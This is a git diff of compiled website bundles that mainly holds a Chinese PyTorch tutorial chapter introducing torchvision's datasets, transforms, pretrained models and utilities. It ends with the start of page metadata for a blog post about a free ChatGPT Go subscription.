torchvision\u7b80\u4ecb",children:"8.2.1 torchvision\u7b80\u4ecb"}),"\n",(0,r.jsx)(e.p,{children:'" The torchvision package consists of popular datasets, model architectures, and common image transformations for computer vision. "'}),"\n",(0,r.jsx)(e.p,{children:"\u6b63\u5982\u5f15\u8a00\u4ecb\u7ecd\u7684\u4e00\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053torchvision\u5305\u542b\u4e86\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u5e38\u5e38\u7528\u5230\u7684\u6570\u636e\u96c6\uff0c\u6a21\u578b\u548c\u56fe\u50cf\u5904\u7406\u7684\u65b9\u5f0f\uff0c\u800c\u5177\u4f53\u7684torchvision\u5219\u5305\u62ec\u4e86\u4e0b\u9762\u8fd9\u51e0\u90e8\u5206\uff0c\u5e26 ***** \u7684\u90e8\u5206\u662f\u6211\u4eec\u7ecf\u5e38\u4f1a\u4f7f\u7528\u5230\u7684\u4e00\u4e9b\u5e93\uff0c\u6240\u4ee5\u5728\u4e0b\u9762\u7684\u90e8\u5206\u6211\u4eec\u5bf9\u8fd9\u4e9b\u5e93\u8fdb\u884c\u4e00\u4e2a\u7b80\u5355\u7684\u4ecb\u7ecd\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"torchvision.datasets *"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.models *"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.tramsforms *"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.io"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.ops"}),"\n",(0,r.jsx)(e.li,{children:"torchvision.utils"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"822-torchvisiondatasets",children:"8.2.2 torchvision.datasets"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"torchvision.datasets"}),"\u4e3b\u8981\u5305\u542b\u4e86\u4e00\u4e9b\u6211\u4eec\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u5e38\u89c1\u7684\u6570\u636e\u96c6\uff0c\u5728==0.10.0\u7248\u672c==\u7684",(0,r.jsx)(e.code,{children:"torchvision"}),"\u4e0b\uff0c\u6709\u4ee5\u4e0b\u7684\u6570\u636e\u96c6\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"Caltech"}),(0,r.jsx)(e.th,{children:"CelebA"}),(0,r.jsx)(e.th,{children:"CIFAR"}),(0,r.jsx)(e.th,{children:"Cityscapes"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"EMNIST"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"FakeData"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Fashion-MNIST"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Flickr"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"ImageNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Kinetics-400"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"KITTI"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"KMNIST"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"PhotoTour"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Places365"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"QMNIST"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SBD"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SEMEION"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"STL10"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SVHN"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"UCF101"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"VOC"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"WIDERFace"})}),(0,r.jsx)(e.td,{}),(0,r.jsx)(e.td,{})]})]})]}),"\n",(0,r.jsx)(e.h2,{id:"823-torchvisiontransforms",children:"8.2.3 torchvision.transforms"}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u77e5\u9053\u5728\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u5904\u7406\u7684\u6570\u636e\u96c6\u6709\u5f88\u5927\u4e00\u90e8\u5206\u662f\u56fe\u7247\u7c7b\u578b\u7684\uff0c\u5982\u679c\u83b7\u53d6\u7684\u6570\u636e\u662f\u683c\u5f0f\u6216\u8005\u5927\u5c0f\u4e0d\u4e00\u7684\u56fe\u7247\uff0c\u5219\u9700\u8981\u8fdb\u884c\u5f52\u4e00\u5316\u548c\u5927\u5c0f\u7f29\u653e\u7b49\u64cd\u4f5c\uff0c\u8fd9\u4e9b\u662f\u5e38\u7528\u7684\u6570\u636e\u9884\u5904\u7406\u65b9\u6cd5\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5f53\u56fe\u7247\u6570\u636e\u6709\u9650\u65f6\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u901a\u8fc7\u5bf9\u73b0\u6709\u56fe\u7247\u6570\u636e\u8fdb\u884c\u5404\u79cd\u53d8\u6362\uff0c\u5982\u7f29\u5c0f\u6216\u653e\u5927\u3001\u6c34\u5e73\u6216\u5782\u76f4\u7ffb\u8f6c\u7b49\uff0c\u8fd9\u4e9b\u662f\u5e38\u89c1\u7684\u6570\u636e\u589e\u5f3a\u65b9\u6cd5\u3002\u800ctorchvision.transforms\u4e2d\u5c31\u5305\u542b\u4e86\u8bb8\u591a\u8fd9\u6837\u7684\u64cd\u4f5c\u3002\u5728\u4e4b\u524d\u7b2c\u56db\u7ae0\u7684Fashion-mnist\u5b9e\u6218\u4e2d\u5bf9\u6570\u636e\u7684\u5904\u7406\u65f6\u6211\u4eec\u5c31\u7528\u5230\u4e86torchvision.transformer\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"from torchvision import transforms\ndata_transform = transforms.Compose([\n transforms.ToPILImage(), # \u8fd9\u4e00\u6b65\u53d6\u51b3\u4e8e\u540e\u7eed\u7684\u6570\u636e\u8bfb\u53d6\u65b9\u5f0f\uff0c\u5982\u679c\u4f7f\u7528\u5185\u7f6e\u6570\u636e\u96c6\u5219\u4e0d\u9700\u8981\n transforms.Resize(image_size),\n transforms.ToTensor()\n])\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u9664\u4e86\u4e0a\u9762\u63d0\u5230\u7684\u51e0\u79cd\u6570\u636e\u589e\u5f3a\u64cd\u4f5c\uff0c\u5728torchvision\u5b98\u65b9\u6587\u6863\u91cc\u63d0\u5230\u4e86\u66f4\u591a\u7684\u64cd\u4f5c\uff0c\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u53c2\u8003\u672c\u8282\u914d\u5957\u7684\u201dtransforms.ipynb\u201c\uff0c\u5728\u8fd9\u4e2anotebook\u4e2d\u6211\u4eec\u7ed9\u51fa\u4e86\u5e38\u89c1\u7684transforms\u7684API\u53ca\u5176\u4f7f\u7528\u65b9\u6cd5\uff0c\u66f4\u591a\u6570\u636e\u53d8\u6362\u7684\u64cd\u4f5c\u6211\u4eec\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/transforms.html",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"824-torchvisionmodels",children:"8.2.4 torchvision.models"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e3a\u4e86\u63d0\u9ad8\u8bad\u7ec3\u6548\u7387\uff0c\u51cf\u5c11\u4e0d\u5fc5\u8981\u7684\u91cd\u590d\u52b3\u52a8\uff0cPyTorch\u5b98\u65b9\u4e5f\u63d0\u4f9b\u4e86\u4e00\u4e9b\u9884\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u4f9b\u6211\u4eec\u4f7f\u7528\uff0c\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://github.com/pytorch/vision/tree/master/torchvision/models",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u73b0\u5728\u6709\u54ea\u4e9b\u9884\u8bad\u7ec3\u6a21\u578b\uff0c\u4e0b\u9762\u6211\u4eec\u5c06\u5bf9\u5982\u4f55\u4f7f\u7528\u8fd9\u4e9b\u6a21\u578b\u8fdb\u884c\u8be6\u7ec6\u4ecb\u7ecd\u3002 \u6b64\u5904\u6211\u4eec\u4ee5torchvision0.10.0 \u4e3a\u4f8b\uff0c\u5982\u679c\u5e0c\u671b\u83b7\u53d6\u66f4\u591a\u7684\u9884\u8bad\u7ec3\u6a21\u578b\uff0c\u53ef\u4ee5\u4f7f\u7528\u4f7f\u7528pretrained-models.pytorch\u4ed3\u5e93\u3002\u73b0\u6709\u9884\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u53ef\u4ee5\u5206\u4e3a\u4ee5\u4e0b\u51e0\u7c7b\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Classification"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u56fe\u50cf\u5206\u7c7b\u91cc\u9762\uff0cPyTorch\u5b98\u65b9\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u6a21\u578b\uff0c\u5e76\u6b63\u5728\u4e0d\u65ad\u589e\u591a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:"AlexNet"}),(0,r.jsx)(e.th,{children:"VGG"}),(0,r.jsx)(e.th,{children:"ResNet"}),(0,r.jsx)(e.th,{children:"SqueezeNet"})]})}),(0,r.jsxs)(e.tbody,{children:[(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"DenseNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Inception v3"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"GoogLeNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"ShuffleNet v2"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"MobileNetV2"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"MobileNetV3"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"ResNext"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"Wide ResNet"})})]}),(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"MNASNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"EfficientNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"RegNet"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u6301\u7eed\u66f4\u65b0"})})]})]})]}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e9b\u6a21\u578b\u662f\u5728ImageNet-1k\u8fdb\u884c\u9884\u8bad\u7ec3\u597d\u7684\uff0c\u5177\u4f53\u7684\u4f7f\u7528\u6211\u4eec\u4f1a\u5728\u540e\u9762\u8fdb\u884c\u4ecb\u7ecd\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#",children:"\u8fd9\u91cc"}),"\u53bb\u67e5\u770b\u8fd9\u4e9b\u6a21\u578b\u5728ImageNet-1k\u7684\u51c6\u786e\u7387\u3002"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Semantic Segmentation"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8bed\u4e49\u5206\u5272\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u662f\u5728COCO train2017\u7684\u5b50\u96c6\u4e0a\u8fdb\u884c\u8bad\u7ec3\u7684\uff0c\u63d0\u4f9b\u4e8620\u4e2a\u7c7b\u522b\uff0c\u5305\u62ecbackground, aeroplane, bicycle, bird, boat, bottle, bus, car, cat, chair, cow, diningtable, dog, horse, motorbike, person, pottedplant, sheep, sofa,train, tvmonitor\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"FCN ResNet50"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"FCN ResNet101"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"DeepLabV3 ResNet50"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"DeepLabV3 ResNet101"})})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"LR-ASPP MobileNetV3-Large"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"DeepLabV3 MobileNetV3-Large"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u672a\u5b8c\u5f85\u7eed"})}),(0,r.jsx)(e.td,{})]})})]}),"\n",(0,r.jsxs)(e.p,{children:["\u5177\u4f53\u6211\u4eec\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#semantic-segmentation",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u9884\u8bad\u7ec3\u7684\u6a21\u578b\u7684",(0,r.jsx)(e.code,{children:"mean IOU"}),"\u548c",(0,r.jsx)(e.code,{children:" global pixelwise acc"})]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Object Detection\uff0cinstance Segmentation and Keypoint Detection"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u7269\u4f53\u68c0\u6d4b\uff0c\u5b9e\u4f8b\u5206\u5272\u548c\u4eba\u4f53\u5173\u952e\u70b9\u68c0\u6d4b\u7684\u6a21\u578b\u6211\u4eec\u540c\u6837\u662f\u5728COCO train2017\u8fdb\u884c\u8bad\u7ec3\u7684\uff0c\u5728\u4e0b\u65b9\u6211\u4eec\u63d0\u4f9b\u4e86\u5b9e\u4f8b\u5206\u5272\u7684\u7c7b\u522b\u548c\u4eba\u4f53\u5173\u952e\u70b9\u68c0\u6d4b\u7c7b\u522b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"COCO_INSTANCE_CATEGORY_NAMES = [\n '__background__', 'person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus','train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'N/A', 'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe', 'N/A', 'backpack', 'umbrella', 'N/A', 'N/A','handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball','kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket','bottle', 'N/A', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl','banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza','donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', 'N/A', 'dining table','N/A', 'N/A', 'toilet', 'N/A', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone','microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'N/A', 'book','clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush']\nCOCO_PERSON_KEYPOINT_NAMES =['nose','left_eye','right_eye','left_ear','right_ear','left_shoulder','right_shoulder','left_elbow','right_elbow','left_wrist','right_wrist','left_hip','right_hip','left_knee','right_knee','left_ankle','right_ankle']\n"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"Faster R-CNN"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"Mask R-CNN"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"RetinaNet"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"SSDlite"})})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"SSD"})}),(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u672a\u5b8c\u5f85\u7eed"})}),(0,r.jsx)(e.td,{}),(0,r.jsx)(e.td,{})]})})]}),"\n",(0,r.jsxs)(e.p,{children:["\u540c\u6837\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#object-detection-instance-segmentation-and-person-keypoint-detection",children:"\u8fd9\u91cc"}),"\u67e5\u770b\u8fd9\u4e9b\u6a21\u578b\u5728COCO train 2017\u4e0a\u7684",(0,r.jsx)(e.code,{children:"box AP"}),",",(0,r.jsx)(e.code,{children:"keypoint AP"}),",",(0,r.jsx)(e.code,{children:"mask AP"})]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Video classification"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u89c6\u9891\u5206\u7c7b\u6a21\u578b\u662f\u5728 Kinetics-400\u4e0a\u8fdb\u884c\u9884\u8bad\u7ec3\u7684"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"ResNet 3D 18"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"ResNet MC 18"})}),(0,r.jsx)(e.th,{children:(0,r.jsx)(e.strong,{children:"ResNet (2+1) D"})})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{children:(0,r.jsx)(e.strong,{children:"\u672a\u5b8c\u5f85\u7eed"})}),(0,r.jsx)(e.td,{}),(0,r.jsx)(e.td,{})]})})]}),"\n",(0,r.jsxs)(e.p,{children:["\u540c\u6837\u6211\u4eec\u4e5f\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/models.html#video-classification",children:"\u8fd9\u91cc"}),"\u67e5\u770b\u8fd9\u4e9b\u6a21\u578b\u7684",(0,r.jsx)(e.code,{children:"Clip acc@1"}),",",(0,r.jsx)(e.code,{children:"Clip acc@5"})]}),"\n",(0,r.jsx)(e.h2,{id:"825-torchvisionio",children:"8.2.5 torchvision.io"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728",(0,r.jsx)(e.code,{children:"torchvision.io"}),"\u63d0\u4f9b\u4e86\u89c6\u9891\u3001\u56fe\u7247\u548c\u6587\u4ef6\u7684 IO \u64cd\u4f5c\u7684\u529f\u80fd\uff0c\u5b83\u4eec\u5305\u62ec\u8bfb\u53d6\u3001\u5199\u5165\u3001\u7f16\u89e3\u7801\u5904\u7406\u64cd\u4f5c\u3002\u968f\u7740torchvision\u7684\u53d1\u5c55\uff0cio\u4e5f\u589e\u52a0\u4e86\u66f4\u591a\u5e95\u5c42\u7684\u9ad8\u6548\u7387\u7684API\u3002\u5728\u4f7f\u7528torchvision.io\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u9700\u8981\u6ce8\u610f\u4ee5\u4e0b\u51e0\u70b9\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u4e0d\u540c\u7248\u672c\u4e4b\u95f4\uff0c",(0,r.jsx)(e.code,{children:"torchvision.io"}),"\u6709\u7740\u8f83\u5927\u53d8\u5316\uff0c\u56e0\u6b64\u5728\u4f7f\u7528\u65f6\uff0c\u9700\u8981\u67e5\u770b\u4e0b\u6211\u4eec\u7684",(0,r.jsx)(e.code,{children:"torchvision"}),"\u7248\u672c\u662f\u5426\u5b58\u5728\u4f60\u60f3\u4f7f\u7528\u7684\u65b9\u6cd5\u3002"]}),"\n",(0,r.jsx)(e.li,{children:"\u9664\u4e86read_video()\u7b49\u65b9\u6cd5\uff0ctorchvision.io\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e2a\u7ec6\u7c92\u5ea6\u7684\u89c6\u9891API torchvision.io.VideoReader() \uff0c\u5b83\u5177\u6709\u66f4\u9ad8\u7684\u6548\u7387\u5e76\u4e14\u66f4\u52a0\u63a5\u8fd1\u5e95\u5c42\u5904\u7406\u3002\u5728\u4f7f\u7528\u65f6\uff0c\u6211\u4eec\u9700\u8981\u5148\u5b89\u88c5ffmpeg\u7136\u540e\u4ece\u6e90\u7801\u91cd\u65b0\u7f16\u8bd1torchvision\u6211\u4eec\u624d\u80fd\u6211\u4eec\u80fd\u4f7f\u7528\u8fd9\u4e9b\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u4f7f\u7528Video\u76f8\u5173API\u65f6\uff0c\u6211\u4eec\u6700\u597d\u63d0\u524d\u5b89\u88c5\u597dPyAV\u8fd9\u4e2a\u5e93\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"826-torchvisionops",children:"8.2.6 torchvision.ops"}),"\n",(0,r.jsxs)(e.p,{children:["torchvision.ops \u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u8bb8\u591a\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u7279\u5b9a\u64cd\u4f5c\uff0c\u5305\u62ec\u4f46\u4e0d\u4ec5\u9650\u4e8eNMS\uff0cRoIAlign\uff08MASK R-CNN\u4e2d\u5e94\u7528\u7684\u4e00\u79cd\u65b9\u6cd5\uff09\uff0cRoIPool\uff08Fast R-CNN\u4e2d\u7528\u5230\u7684\u4e00\u79cd\u65b9\u6cd5\uff09\u3002\u5728\u5408\u9002\u7684\u65f6\u95f4\u4f7f\u7528\u53ef\u4ee5\u5927\u5927\u964d\u4f4e\u6211\u4eec\u7684\u5de5\u4f5c\u91cf\uff0c\u907f\u514d\u91cd\u590d\u7684\u9020\u8f6e\u5b50\uff0c\u60f3\u770b\u66f4\u591a\u7684\u51fd\u6570\u4ecb\u7ecd\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/ops.html",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u7ec6\u81f4\u67e5\u770b\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"827-torchvisionutils",children:"8.2.7 torchvision.utils"}),"\n",(0,r.jsxs)(e.p,{children:["torchvision.utils \u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e9b\u53ef\u89c6\u5316\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u5c06\u82e5\u5e72\u5f20\u56fe\u7247\u62fc\u63a5\u5728\u4e00\u8d77\u3001\u53ef\u89c6\u5316\u68c0\u6d4b\u548c\u5206\u5272\u7684\u6548\u679c\u3002\u5177\u4f53\u65b9\u6cd5\u53ef\u4ee5\u70b9\u51fb",(0,r.jsx)(e.a,{href:"https://pytorch.org/vision/stable/utils.html",children:"\u8fd9\u91cc"}),"\u8fdb\u884c\u67e5\u770b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u603b\u7684\u6765\u8bf4\uff0ctorchvision\u7684\u51fa\u73b0\u5e2e\u52a9\u6211\u4eec\u89e3\u51b3\u4e86\u5e38\u89c1\u7684\u8ba1\u7b97\u673a\u89c6\u89c9\u4e2d\u4e00\u4e9b\u91cd\u590d\u4e14\u8017\u65f6\u7684\u5de5\u4f5c\uff0c\u5e76\u5728\u6570\u636e\u96c6\u7684\u83b7\u53d6\u3001\u6570\u636e\u589e\u5f3a\u3001\u6a21\u578b\u9884\u8bad\u7ec3\u7b49\u65b9\u9762\u5927\u5927\u964d\u4f4e\u4e86\u6211\u4eec\u7684\u5de5\u4f5c\u96be\u5ea6\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u66f4\u52a0\u5feb\u901f\u4e0a\u624b\u4e00\u4e9b\u8ba1\u7b97\u673a\u89c6\u89c9\u4efb\u52a1\u3002"})]})}function x(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/assets/js/d72f0f32.f3381029.js b/assets/js/d72f0f32.f3381029.js new file mode 100644 index 0000000..9393d19 --- /dev/null +++ b/assets/js/d72f0f32.f3381029.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6045],{16278:(n,e,d)=>{d.r(e),d.d(e,{assets:()=>c,contentTitle:()=>i,default:()=>j,frontMatter:()=>l,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","title":"\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/06.\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0","slug":"/personal/articles/free-chatgpt-go-one-year","permalink":"/docs/personal/articles/free-chatgpt-go-one-year","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/11.\u516c\u4f17\u53f7\u6587\u7ae0/06.\u3010\u9650\u65f6\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6\u4e00\u5e74ChatGPT Go\u5957\u9910 | ChatGPT Plus\u9752\u6625\u7248 | \u4f7f\u7528GPT-5\u66f4\u52a0\u4ece\u4ece\u5bb9\u5bb9\uff0c\u6e38\u5203\u6709\u4f59 \uff01.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{"slug":"/personal/articles/free-chatgpt-go-one-year"},"sidebar":"tutorialSidebar","previous":{"title":"Docker\u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u516c\u4f17\u53f7\u6587\u7ae0/Docker \u5feb\u901f\u90e8\u7f72\u6700\u65b0\u7248Awvs"},"next":{"title":"\u3010\u767d\u5ad6\u3011\u514d\u8d39\u9886\u53d6 Atlantic \u4e00\u5e74 | \u7f8e\u56fd| 